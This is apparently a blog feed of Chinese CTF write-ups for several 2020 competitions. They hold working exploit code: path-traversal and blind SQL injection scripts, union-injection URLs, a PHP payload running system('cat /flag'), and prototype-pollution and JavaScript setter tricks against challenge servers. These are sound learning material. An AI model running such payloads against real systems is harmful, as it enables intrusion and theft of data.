颖奇L'Amore https://www.gem-love.com 专注网络安全与渗透测试 Fri, 31 Jul 2020 13:34:31 +0000 zh-CN hourly 1 https://www.gem-love.com/wp-content/uploads/2020/01/透明-1-150x150.png 颖奇L'Amore https://www.gem-love.com 32 32 2020中国电信天翼杯网络安全攻防大赛Writeup https://www.gem-love.com/ctf/2537.html https://www.gem-love.com/ctf/2537.html#respond Fri, 31 Jul 2020 10:56:14 +0000 https://www.gem-love.com/?p=2537 Author:颖奇L’Amore

Blog:www.gem-love.com

我不相信只有我一个人是从头到尾都没成功打开过平台。。。


WEB1

别人发来的题目链接:http://183.129.189.60:55200/ ,题目其他信息就不知道了

在/source得到源码

const express = require("express");
const cors = require("cors");
const app = express();
const uuidv4 = require("uuid/v4");
const md5 = require("md5");
const jwt = require("express-jwt");
const jsonwebtoken = require("jsonwebtoken");
const server = require("http").createServer(app);

const { flag, secret, jwtSecret } = require("./flag");

const config = {
  port: process.env.PORT || 8081,
  adminValue: 1000,
  message: "Can you get flag?",
  secret: secret,
  adminUsername: "kirakira_dokidoki",
  whitelist: ["/", "/login", "/init", "/source"],
};

let users = {
  0: {
    username: config.adminUsername,
    isAdmin: true,
    rights: Object.keys(config)
  }
};

app.use(express.json());

app.use(cors());

app.use(
  jwt({ secret: jwtSecret }).unless({
    path: config.whitelist
  })
);

app.use(function(error, req, res, next) {
  if (error.name === "UnauthorizedError") {
    res.json(err("Invalid token or not logged in."));
  }
});

function sign(o) {
  return jsonwebtoken.sign(o, jwtSecret);
}

function ok(data = {}) {
  return { status: "ok", data: data };
}

function err(msg = "Something went wrong.") {
  return { status: "error", message: msg };
}

function isValidUser(u) {
  return (
    u.username.length >= 6 &&
    u.username.toUpperCase() !== config.adminUsername.toUpperCase() && u.username.toUpperCase() !== config.adminUsername.toLowerCase()
  );
}

function isAdmin(u) {
  return (u.username.toUpperCase() === config.adminUsername.toUpperCase() && u.username.toUpperCase() === config.adminUsername.toLowerCase()) || u.isAdmin;
}

function checkRights(arr) {
  let blacklist = ["secret", "port"];

  if(blacklist.includes(arr)) {
    return false;
  }
  
  for (let i = 0; i < arr.length; i++) {
    const element = arr[i];
    if (blacklist.includes(element)) {
      return false;
    }
  }
  return true;
}

app.get("/", (req, res) => {
  res.json(ok({ hint:  "You can get source code from /source"}));
});

app.get("/source", (req, res) => {
    res.sendFile( __dirname + "/" + "app.js");
});

app.post("/login", (req, res) => {
  let u = {
    username: req.body.username,
    id: uuidv4(),
    value: Math.random() < 0.0000001 ? 100000000 : 100,
    isAdmin: false,
    rights: [
      "message",
      "adminUsername"
    ]
  };
  if (isValidUser(u)) {
    users[u.id] = u;
    res.send(ok({ token: sign({ id: u.id }) }));
  } else {
    res.json(err("Invalid creds"));
  }
});

app.post("/init", (req, res) => {
  let { secret } = req.body;
  let target = md5(config.secret.toString());

  let adminId = md5(secret)
    .split("")
    .map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
    .reduce((a, b) => a + b);

  res.json(ok({ token: sign({ id: adminId }) }));
});


// Get server info
app.get("/serverInfo", (req, res) => {
  let user = users[req.user.id] || { rights: [] };
  let info = user.rights.map(i => ({ name: i, value: config[i] }));
  res.json(ok({ info: info }));
});

app.post("/becomeAdmin", (req, res) => {
  let {value} = req.body;
  let uid = req.user.id;
  let user = users[uid];

  let maxValue = [value, config.adminValue].sort()[1];
  if(value >= maxValue && user.value >= value) {
    user.isAdmin = true;
    res.send(ok({ isAdmin: true }));
  }else{
    res.json(err("You need pay more!"));
  }
});

// only admin can update user
app.post("/updateUser", (req, res) => {
  let uid = req.user.id;
  let user = users[uid];
  if (!user || !isAdmin(user)) {
    res.json(err("You're not an admin!"));
    return;
  }
  let rights = req.body.rights || [];
  if (rights.length > 0 && checkRights(rights)) {
    users[uid].rights = user.rights.concat(rights).filter((value, index, self)=>{
      return self.indexOf(value) === index;
    });
  }
  res.json(ok({ user: users[uid] }));
});

// only uid===0 can get the flag
app.get("/flag", (req, res) => {
  if (req.user.id == 0) {
    res.send(ok({ flag: flag }));
  } else {
    res.send(err("Unauthorized"));
  }
});

server.listen(config.port, () =>
  console.log(`Server listening on port ${config.port}!`)
);

Step 1:称为管理员

在/becomeAdmin路由下使用了Arraysort()方法:

let maxValue = [value, config.adminValue].sort()[1];

JS比较坑的是,sort()方法实际上是把number转成了string再排序的,所以就会出现这种情况:

所以只要利用这个特性就可以成功满足value>=maxValue && 100 >= value而成为管理员

Step 2:得到secret

首先在updateUser路由下可以为用户的rights数组加东西:

之后在serverInfo路由下,将rights数组内的元素作为config对象的属性并返回对应的值

我们希望得到secret的值,然而secret是被checkRights()给禁掉的,无论req.body.rights是数组还是字符串都会被ban:

这里又用到一个js的特性:

所以提交[["secret"]]即可

之后得到secret

Step 3:修改uid为0

因为jwt用的jwtSecret是不会泄露的,伪造jwt的思路就失败了。注意到init处可以修改id:

md5(secret)现在已知了,然后有一个异或操作,所以直接让它们相等就能返回0了。注意需要提交secret为字符串形式,然后得到新token:

jwt的payload部分直接解base64就可以看到明文,可以看下id是否为0了

然后带上新jwt去访问flag即可


后记:

赛后发现,是原题,无语

https://xz.aliyun.com/t/7177

等第四届BJDCTF,请大家吃我出了整整一个星期的NodeJS奥

结账下机,准备今晚9点半打InCTF了

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2537.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2537.html/feed 0
🇷🇺CyBRICS CTF 2020 Writeup https://www.gem-love.com/ctf/2526.html https://www.gem-love.com/ctf/2526.html#respond Tue, 28 Jul 2020 07:14:08 +0000 https://www.gem-love.com/?p=2526 Author:颖奇L’Amore

Blog:www.gem-love.com

被队友带躺的舒舒服服,第一天晚上因为临时有事做完web1就走了,一觉醒来web被ak了,然后就看着xmcp大哥单刷了好几个乱七八糟分类的题,还拿了一个Hard的一血,wtcl

最后是拿了总榜第四、中国第一,队友tql!


Hunt

一开始我以为像rgbCTF的web1那样,如果需要的时间很短,那么应该用js模拟一下鼠标事件。不过我还是决定去试一试,然后随便一点就在几秒钟内点到了5个验证码,直接出了flag,太签到了


Gif2png

solved by daylight@r3kapig

一开始我没看到题目给了源码一通瞎测,然后队友直接solve,我才发现有源码。确实很简单,用了ffmpeg,文件名可控,所以直接命令注入。

问题在于,没有回显,又不出网。所以可以把文件复制到我们能访问的地方去,看这个路由:

所以把文件拷贝到uploads/uid下来即可,uid会在上传时候给你返回的。

$()``一样的作用,用来执行命令,再用||分隔一下,利用base64编码来执行任意命令。

读main.py即可得到flag。


WoC

solved by Hpdoger@r3kapig

newtemplate.php可以新建模板,然而要求了不能含有<?

在calc.php中能够把html模板保存成一个php文件,其中有php的短标签<?=,而$field也是我们可控的

所以我们只需要通过特定构造的$field与后文一起构造一个多行注释,让代码最终为<?=json_encode(string(something));eval(your_code_here);即可

<html>
    <head>
        <meta charset="utf-8">
        <title>hpdoger-4<title>
    <head>  
            <input type="text" class="part" id="field" name="field" >
            <input type="button" class="part" id="digit0" data-append="0" >
            <input type="button" class="part" id="digit1" data-append="1" >
            <input type="button" class="part" id="digit2" data-append="2" >
            <input type="button" class="part" id="digit3" data-append="3" >
            <input type="button" class="part" id="digit4" data-append="4" >
            <input type="button" class="part" id="digit5" data-append="5" >
            <input type="button" class="part" id="digit6" data-append="6" >
            <input type="button" class="part" id="digit7" data-append="7" >
            <input type="button" class="part" id="digit8" data-append="8" >
            <input type="button" class="part" id="digit9" data-append="9" >
            <input type="button" class="part" id="plus" data-append=" + " >
            <input type="button" class="part" id="minus" data-append=" - " >
            <input type="button" class="part" id="times" data-append=" * " >
            <input type="button" class="part" id="div" data-append="  " >
            <input type="button" class="part" id="point" data-append="." >
            <input type="button" class="part" id="clear" >
            <input type="button" class="part" id="back" value="← Back" >
            <input type="submit" class="part" id="share" name="share" value="Share" >
            <input type="submit" class="part" id="equals" >
        <form>
        <td><tr><table>
    <body>

<html>*/;eval(system('cat /flag'))?>

新建模板后能够得到$uuid.html,再去share得到新的$calc.php$field构造为:

/*((*/1))/*

之后文件就会变为

<script>var preloadValue = <?=json_encode((string)(/*注释*/1))/*注释*/;eval(system('cat /flag'))?>

这样,利用多行注释闭合了json_encode()的同时也让php命令从中逃逸出来成功执行,得到flag


Developer’s Laptop

solved by Hpdoger@r3kapig

准备写wp,发现环境已经关了,算了算了

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2526.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2526.html/feed 0
安恒七月赛DASCTF July Writeup https://www.gem-love.com/ctf/2514.html https://www.gem-love.com/ctf/2514.html#comments Sat, 25 Jul 2020 07:01:44 +0000 https://www.gem-love.com/?p=2514 Author:颖奇L’Amore

Blog:www.gem-love.com

Misc-Depth是我出的题,需要递归造成RecursionError异常,然而Recursion Limit是随机数,所以本题需要首先分析算法然后构造异常然后想办法解决Recursion Limit随机数。源码都给了,具体的大家自己试吧


Ezinclude

沙雕题,因为gqy.jpg和/gqy.jpg获得相同回显,可以判断出一定在文件名前拼接了路径,这种情况是无法使用wrapper等手段的。又有waf,如果waf过滤掉了../那么这个包含将是绝对安全的。后来发现,如果f参数的开头给出一个目录再穿越就可以绕过waf了(这样出题很没意思)

exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import base64 as b
import time as t
from urllib.parse import quote_plus as urlen

HOST = "http://183.129.189.60:10009/image.php?t={}&f=".format(int(t.time()))
file = 'y1ng/../../../../../../../flag'
file = b.b64encode(file.encode("utf-8")).decode("utf-8")
url = HOST+urlen(file)
print(req.get(url).text)

顺便读一下源码,谁会这么写waf= =

<?php

    if(!isset($_GET['t']) || !isset($_GET['f'])){
        echo "you miss some parameters";
        exit();
    }
    
    $timestamp = time();

    if(abs($_GET['t'] - $timestamp) > 10){
        echo "what's your time?";
        exit();
    }

    $file = base64_decode($_GET['f']);
    
    if(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
        echo 'You are not allowed to do that.';
    }
    else{
        echo file_get_contents('/var/www/html/img/'.$file);
    }

?>

SQLi

根据它的正则过滤了几个Time-based SQLi需要的关键字,以为要做笛卡尔积延时,然后发现可以直接布尔盲注

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import time as t
import base64 as b
import string
alpa = string.ascii_letters + string.digits
res = ''
#库名 利用limit注入 sqlidb
# http://183.129.189.60:10004/?id=1%27limit/**/1,1/**/PROCEDURE/**/ANALYSE(1)%23

#表名 flllaaaggg
payload = '''SELECT group_concat(table_name) FROM  sys.x$schema_flattened_keys WHERE table_schema='sqlidb' GROUP BY table_name limit 0,1'''

for i in range(1,100):
	for char in alpa:
		host = '''http://183.129.189.60:10004/?id=1'=(substr(({payload}),{i},1)='{char}')%23'''.format(payload=payload.replace(' ','/**/'), i=i, char=char)

		r = req.get(host)
		if r'admin666' in r.text:
			res += char
			print("found it: "+res)
			break
		t.sleep(0.2)

无列名注入,本来想无列名盲注,但是因为fllllaaaggg的表结构是id在前flag在后,无法根据flag来判断,(select 'y1ng','y1ng')>(select * from flllaaaggg)这种思路的盲注失败(实际上也可以做,我当时发现可以直接利用回显来构造payload就没再试)。然后想到题目有回显,直接构造联合查询即可:

http://183.129.189.60:10004/?id=100’/**/union/**/select/**/*,1/**/from/**/flllaaaggg%23

btw,可以联合查询,所以表也可以直接查的,不需要盲注:

http://183.129.189.60:10004/?id=100%27/**/union/**/SELECT/**/group_concat(table_name),2,3/**/FROM/**//**/sys.x$schema_flattened_keys/**/WHERE/**/table_schema='sqlidb'/**/GROUP/**/BY/**/table_name/**/limit/**/0,1%23

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2514.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2514.html/feed 2
🇺🇸rgbCTF 2020 writeup https://www.gem-love.com/ctf/2501.html https://www.gem-love.com/ctf/2501.html#comments Tue, 14 Jul 2020 13:17:27 +0000 https://www.gem-love.com/?p=2501 Author:颖奇L’Amore

Blog:www.gem-love.com


Typeracer(119pt)

题出的挺好,还特意打乱了每个单词的顺序

先获取到Element然后排序,再用js模拟键盘事件输入进去即可一秒搞定,exp:

/*
 * Author: 颖奇L'Amore
 * Blog: www.gem-love.com
*/ 

var obj = {}
for (var i in document.getElementById('Ym9iYmF0ZWEh').children) 
{
	try {
		var order = document.getElementById('Ym9iYmF0ZWEh').children[i].style.order
		var content = document.getElementById('Ym9iYmF0ZWEh').children[i].innerHTML.replace("&nbsp;","");
		obj[order] = content
	} catch {}
	
}

Object.keys(obj).sort()

str = ''
for ( var i in obj ) {
	(i < Object.keys(obj).length - 1 ) ? str += obj[i] + ' ' : str += obj[i];
}
console.log(str)

// event = document.createEvent("KeyboardEvent");
for ( var i in str ) {
	unicode = str[i].charCodeAt(0);
	keyprs = {
		char: str[i],
		keyCode: unicode, 
		bubbles : false,
    	cancelable : false,
    	shiftkey: false
	}
	// document.getElementsByTagName('textarea')[0].dispatchEvent(new KeyboardEvent('keypress', keyprs));
	document.dispatchEvent(new KeyboardEvent('keypress', keyprs));
}

Imitation Crab(448pt)

脑洞指数:★★★☆☆

题目是个键盘模拟器,用扫描器扫出来robots.txt,然后下载得到export.har,查询资料得知:

Chrome作为一代浏览器巨星,具有完备的网络调试功能,当然也可以抓取HTTP报文,它抓取的包可以被保存为HAR格式

分析发现似乎是在输入什么东西,但是记录的是字符的ascii

于是把这些ascii提取出来看看是什么

#!/usr/bin/ruby -w
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
har = File.read('export.har').split(/\"text\"\:\ \"\{/)
har.each do |ch|
	begin
		print Integer(ch[9..10]).chr
	rescue
		nil
	end
end

得到:RGBCTF H4R F1L3S 4R3 2UP3R US3FU1

flag:rgbCTF{H4R_F1L3S_4R3_2UP3R_US3FU1}


Countdown(455pt)

脑洞指数:★☆☆☆☆

弱智题,伪造flask session即可。主页写着Time is key所以secret就是Time

但是伪造了好几个,倒计时都在变化,没有找到规律,这里很迷惑

后来伪造了2020-07-14 12:59:59+0000,发现倒计时变成了2分钟,简单等待之后居然变成了负的秒数

刷新页面,得到flag:rgbCTF{t1m3_1s_k3y_g00d_j0k3_r1ght}


Keen Eye(490pt)

这题我根本不知道在干嘛,这是最难的一个web,或许我是直接非预期了,也或许是题出的有问题,因为我有一键扫描所有js、css、html的注释的Chrome插件,直接出了flag


Secure RSA(497pt)

脑洞指数:★★★★★

必须吐槽,这是最难的MISC,是最傻逼的题

Secure RSA (SRSA) is a new, revolutionary way to encrypt your data that ensures the original message is unrecoverable by hackers. Top scientists from around the world have confirmed this mathematically irrefutable fact. 3 of our very own RGBSec members have developed this method, and we present it to you here. Granted, the method is very simple, and we aren't quite sure why nobody has thought of it before. Levying the power of uninjectivity, we set e to a small number. 0, in fact. Let's calculate the cipher now: (anything)^0 = 1. Since the message before encryption could have been any number in the world, the ciphertext is uncrackable by hackers. 

n: 69696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969

e: 0

c: 1

这段英文的每句话首字母组成的就是flag:rgbCTF{ST3GL0LS}

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2501.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2501.html/feed 2
🇯🇵TSG CTF 2020 Beginner’s Web Writeup https://www.gem-love.com/ctf/2494.html https://www.gem-love.com/ctf/2494.html#respond Sun, 12 Jul 2020 17:40:46 +0000 https://www.gem-love.com/?p=2494 Author:颖奇L’Amore

Blog:www.gem-love.com


签到题,签到失败,实在是丢人,四个web一个都不会~~~

题目给了源码:

const fastify = require('fastify');
const nunjucks = require('nunjucks');
const crypto = require('crypto');


const converters = {};

const flagConverter = (input, callback) => {
  const flag = '*** CENSORED ***';
  callback(null, flag);
};

const base64Converter = (input, callback) => {
  try {
    const result = Buffer.from(input).toString('base64');
    callback(null, result)
  } catch (error) {
    callback(error);
  }
};

const scryptConverter = (input, callback) => {
  crypto.scrypt(input, 'I like sugar', 64, (error, key) => {
    if (error) {
      callback(error);
    } else {
      callback(null, key.toString('hex'));
    }
  });
};


const app = fastify();
app.register(require('point-of-view'), {engine: {nunjucks}});
app.register(require('fastify-formbody'));
app.register(require('fastify-cookie'));
app.register(require('fastify-session'), {secret: Math.random().toString(2), cookie: {secure: false}});

app.get('/', async (request, reply) => {
  reply.view('index.html', {sessionId: request.session.sessionId});
});

app.post('/', async (request, reply) => {
  if (request.body.converter.match(/[FLAG]/)) {
    throw new Error("Don't be evil :)");
  }

  if (request.body.input.length < 10) {
    throw new Error('Too short :(');
  }

  converters['base64'] = base64Converter;
  converters['scrypt'] = scryptConverter;
  converters[`FLAG_${request.session.sessionId}`] = flagConverter;

  const result = await new Promise((resolve, reject) => {
    converters[request.body.converter](request.body.input, (error, result) => {
      if (error) {
        reject(error);
      } else {
        resolve(result);
      }
    });
  });

  reply.view('index.html', {
    input: request.body.input,
    result,
    sessionId: request.session.sessionId,
  });
});

app.setErrorHandler((error, request, reply) => {
  reply.view('index.html', {error, sessionId: request.session.sessionId});
});

app.listen(59101, '0.0.0.0');

看看题

题目是一个编码工具,支持两种编码,界面这样的:

阅读源码可知,首先是有一个flagConverter()能得到flag

const flagConverter = (input, callback) => {
  const flag = '*** CENSORED ***';
  callback(null, flag);
};

这个函数可以通过调用converters对象的FLAG_sessionid来触发

converters[`FLAG_${request.session.sessionId}`] = flagConverter;

inputconverter这两个参数我们完全可控,意味着我们能调用converters对象下的任何属性

const result = await new Promise((resolve, reject) => {
  converters[request.body.converter](request.body.input, (error, result) => {
    if (error) {
      reject(error);
    } else {
      resolve(result);
    }
  });
});

当然题目不会这么简单,FLAG这四个字母是不被允许的,并且长度也有要求

if (request.body.converter.match(/[FLAG]/)) {
  throw new Error("Don't be evil :)");
}

if (request.body.input.length < 10) {
  throw new Error('Too short :(');
}

我最开始绕了好久这个正则,因为JavaScript内可以用\u \x \???来分别表示Unicode、hex、octal,然而这三种编码都绕不过去match()方法的正则匹配,因为这是JavaScript内置支持的编码形式,在match()前会被自动解码的。后面还尝试过ejs注入、调nunjucks、原型链污染等,也都无果。

切入点

因为converters[request.body.converter](request.body.input, (error, result) => { *** });可控的,本题目的关键是利用__defineSetter__,参考

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__

The __defineSetter__ method binds an object’s property to a function to be called when an attempt is made to set that property.

这个方法将属性绑定到一个函数上,它接收2个参数,第一个是属性(字符串类型)第二个就是函数了。

知道了这些还远远不够,因为本题目并不是最终通过回调或其他方式来调用flagConverter()函数,而是利用reject(error)来爆出源码进而得到flag。

先来看个JS小特性

我有一个f()函数接收两个参数并输出,如果只传给他一个参数会怎么样呢?

C语言等语言会直接报错,但是像JavaScript或者PHP这类语言都是可以容错的(RCTF的swoole就需要用到PHP的这个特性),如果只穿一个参数给f()那么它会被认为是第一个参数,而第二册参数则是undefined

解题

刚刚说了__defineSetter__方法会把属性分配给一个函数,那么如果request.body.converter__defineSetter__就会把request.body.input分配给(error, result) => {if (error) {reject(error);} else {resolve(result);}}这个函数(这是Lambda写法,也称为箭头函数)

converters现在有三个属性,分别是base64 scrypt FLAG_sessionid,为了本地调试方便,我们直接假设session_id为123123123,代码写成converters[`FLAG_123123123`] = flagConverter;,因为每次重新启动脚本就得重新弄session很麻烦。

所以我们就能直接把FLAG_123123123分配给那个箭头函数,虽然这个箭头函数接收两个参数,但是根据上面刚介绍的JS的函数容错特性,FLAG_123123123会被作为第一个参数也就是error这个参数,然后会被reject(error)

但是这样打过去是什么效果呢?

可以看到converters对象内的FLAG_123123123现在虽然成了Setter,证明__defineSetter__是成功的,但是HTTP请求卡住了,没有回包了

这是因为我们只通过__defineSetter__分配了函数并没有发送回任何结果,所以Promise((resolve, reject) => {***})没有完成,于是就一直在await

但是,当我们再发过去一个包的时候,这个包就是个普通的base64编码的包就好了,第二个包会执行converters[`FLAG_123123123`] = flagConverter;赋值操作,因为刚刚的__defineSetter__的缘故,flagConverter函数作为一个值被传进了分配给FLAG_123123123的function,也就是(error, result) => {}这个箭头函数,此时的error参数就是flagConverter,然后reject(error)也就是reject(flagConverter)就通过报错得到了flagConverter的源码,当然flag也包含其中

因为只有第二个包请求成功后才会返回第一个包的结果,因此需要使用Thread,当然用burp开两个repeater也行

Reinforce

为了确定是否是第二个包的converters[`FLAG_123123123`] = flagConverter;的赋值成为了得到flag的关键,我自定义了一个y1ng()函数

const y1ng = (input, callback) => {
  const y2ng = 'test';
  callback(null, y2ng);
};

并且让第二个包时将FLAG_123123123赋值为y1ng函数

converters['base64'] = base64Converter;
converters['scrypt'] = scryptConverter;
if (request.body.converter != 'base64') {
	  converters[`FLAG_123123123`] = flagConverter;
	  console.log("log:"+request.body.converter);
} else {
	converters[`FLAG_123123123`] = y1ng;
	console.log("base64 log:"+request.body.converter);
}

同样的payload再打过去,Error出的源码就是y1ng()的源码的了

这证明上面说的是没错的


References

https://github.com/TeamUnderdawgs/CTF-Docs/blob/master/TsgCTF2020/Web/Beginners-Web.md

https://gist.github.com/0xParrot/310b71266ca2a6bfcaf26b5419c91a0d

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2494.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2494.html/feed 0
🇮🇷ASIS CTF Quals 2020 Writeup https://www.gem-love.com/ctf/2462.html https://www.gem-love.com/ctf/2462.html#respond Tue, 07 Jul 2020 15:49:20 +0000 https://www.gem-love.com/?p=2462 Author:颖奇L’Amore

Blog:www.gem-love.com

全是复现的,比赛时间和SCTF刚好冲突了,但是质量是真的彳亍


Admin Panel

考点:原型链污染 非常困难的sqlite注入 SSIT

难度:Very Hard

这个题是真的牛批

是一个Admin Panel的登录,但是不知道密码所以登录就会被AccessDenied,题目给了source code

app.js

const express = require('express');
const app = express();
const session = require('express-session');
const db = require('better-sqlite3')('./db.db', {readonly: true});
const cookieParser = require("cookie-parser");
const FileStore = require('session-file-store')(session);
const fs = require('fs');

app.locals.flag = "REDACTED"
app.use(express.static('static'));
app.use(cookieParser());
app.use(express.urlencoded({extended: false}));
app.use(express.json());
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);

const server = app.listen(3000, function(){
    console.log("Server started on port 3000")
});

app.use(session({
	secret: 'REDACTED',
	resave: false,
	saveUninitialized: true,
	store: new FileStore({path: __dirname+'/sessions/'})
}));

const router = require('./router/main')(app, db, fs);

main.js

module.exports = function(app, db, fs){
    app.get('/', function(req, res){
        res.render('index.html')
    });

    app.post('/login', function(req, res){
        var user = {};
        var tmp = req.body;
        var row;

        if(typeof tmp.pw !== "undefined"){
            tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
        }

        for(var key in tmp){
            user[key] = tmp[key];
        }

        if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
            user.id = 'guest';
        }
        req.session.user = user.id;

        if(typeof user.pw !== "undefined"){
            row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
            if(typeof row !== "undefined"){
                req.session.isAdmin = (row.pw === user.pw);
            }else{
                req.session.isAdmin = false;
            }
            if(req.session.isAdmin && req.session.user === 'admin'){
                res.statusCode = 302;
                res.setHeader('Location','admin');
                res.end();
            }else{
                res.end("Access Denied!");
            }
        }else{
            res.end("No password given.");
        }
    });

    app.get('/admin', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.query.test !== "undefined"){
                res.render(req.query.test);
            }else{
                res.render("admin.html");
            }
        }else{
            res.end("Access Denied!");
        }
    });

    app.post('/upload', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
                var fname = req.body.name;
                var dir = './views/upload/'+req.session.id;
                var contents = req.body.file;

                !fs.existsSync(dir) && fs.mkdirSync(dir);
                fs.writeFileSync(dir+'/'+fname, contents);
                res.end("Done.");
            }else{
                res.end("Something's wrong");
            }
        }else{
            res.end("Permission Denied!");
        }
    });
}

可以看一下登录的代码,对pw有一个安全检查,其中将所有的\ ' - #都替换为空。之后有个名为user的对象,遍历req.body并将里面的值存进user。之后会带着pw进行一个sql查询,这里或许可能造成注入,但是pw和sql结果中查询出的pw必须完全相等才能设置isAdmin这个session标记为True,否则false。如果isAdminTrue,则可以进入管理员账户。继续跟进,如果登录为管理员账户,则可以访问admin.html,并且可以拥有上传功能。

这里有一个逻辑矛盾需要我们解决,分析后文代码可知我们的用户名必须是admin,然而如果输入admin就会被强制修改为guest:

if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
    user.id = 'guest';
}

Prototype Pollution

漏洞代码出在了这里,这是一段无论idpw是否为undefined都一定会执行的代码:

for(var key in tmp){
    user[key] = tmp[key];
}

我们知道,Post上传接收数据有多种方式,最常用的是urlencode,其次是json,比如hackbar的POST支持这三种Content-Type

注意到题目正好也是通过app.use(express.json());来支持json的。那么我们同样也可以用json来提交id和pw,一样的效果。程序的运行大概是这样:

而用了JSON,一个合格的WEB CTF选手应该对此能够足够敏感,因为JSON里是可以嵌套的,比如{"a":{"b":"c"}},而这种形式的JSON对于本题目代码来讲并不会产生任何问题。这样的话这个for循环遍历时var key就是object类型而不再是String

那么这有什么用?再回去看漏洞代码,遍历了tmp后挨个元素赋值给user,这就可以造成原型链污染。不懂原型链污染没关系,推荐阅读:

彻底理解JavaScript原型链(一)—__proto__的默认指向

在这篇文章中,开篇就总结的非常到位了:

  1. 对象__proto__属性,函数prototype属性;
  2. 对象函数生成;
  3. 生成对象时,对象__proto__属性指向函数prototype属性。

正如第三条所说,__proto__指向prototype,正常情况下是这样的:

如果POST的req.body这个JSON中包含了__proto__,然后又通过for循环遍历给了user,会怎么样?可以自己本地调试

//颖奇L'Amore www.gem-love.com 
var express = require('express');
const app = express();
app.use(express.urlencoded({extended: false}));
app.use(express.json());

app.route('/login')
    .post( function(req, res){
        var user = {};
        var tmp = req.body;
        console.log("\nreq.body:")
        console.log(req.body)
        var row;

        if(typeof tmp.pw !== "undefined"){
        	console.log("waf replace")
            tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
        }

        for(var key in tmp){
            user[key] = tmp[key];
        }
        console.log("user:")
        console.log(user)
        res.send("ok")
    });

const server = app.listen(3000, function(){
    console.log("Server started on port 3000")
});

因为Hackbar会在json里加入一些垃圾数据,所以我们直接用requests模块

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import json

HOST = "http://127.0.0.1:3000/login"
proxies={'http':'http://127.0.0.1:58080','https':'https://127.0.0.1:58080'}  #用来调试 可以配合burp 
headers = {"Content-Type": "application/json"}
data = {
	"__proto__" : {"id":"admin", "pw":"y1ng'#"}
}
json_data = json.dumps(data, sort_keys=False, separators=(',', ': '))
print(json_data)
req.post(HOST, data=json_data, headers=headers)

可以发现并没有console.log("waf replace"),因为tmp只有__proto__这么一个键,并没有pw,所以tmp.pwundefined,就不会进去if里进行replace(),这意味着我们成功bypass了waf;另外还可以看到输出的user是{},并没有任何东西,难道for(var key in tmp) user[key] = tmp[key];这个for循环不会把user复刻成tmp一样吗?继续调试

可以看到,user虽然是个空object,但是user.__proto__已经不再为空。在访问user.pw时,因为pw不存在,于是就回去它的prototype去寻找,于是找到了pw属性

当然,现在就已经能够成功伪造user.id成admin了,本地调试发现,设置user.id为guest的if并没有进入,而且直接进入了执行SQL的操作。

第一步原型链污染来伪造id为admin就做完了。

Hard SQL

然而,想要成为admin还需要设置session.isAdminTrue,这需要进行sql操作:

row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
    req.session.isAdmin = (row.pw === user.pw);
}

由题目代码const db = require('better-sqlite3')('./db.db', {readonly: true});可知题目使用的是sqlite数据库

上面已经bypass了replace()的waf,现在就可以实现sql注入了,因为想要让输入的pw和sql查询出来的pw完全相等实在是太难了。

想要注入实际上也不是很简单,因为只要sql语法没出错,回显就一样的:

不过我们可以构造时间盲注,如果是时间盲注的话,因为sqlite并没有像mysql的sleep()那样的直接延时函数,我们只能通过让它运算更长时间来达到延时的目的,也就是Heavy Query的思路

randomblob(N) 返回一个 N 字节长的包含伪随机字节的 BLOG, N 应该是正整数

关于randomblob()这个函数,实际上还有更有意思的东西:如果长度N过长就会出现Error

这意味着,我们可以通过randomblob()来特意构造一个Error,而题目如果sql语句查询出现Error是会不同回显的,这样我们就能实现Bool-Based Blind SQLi了

当然我们必须“选择性”触发这个Error,不然不就全程Error的回显了吗,sqlite在条件语句方面和PostgreSQL的语法完全一致,所以我们可以这样构造payload来布尔盲注:

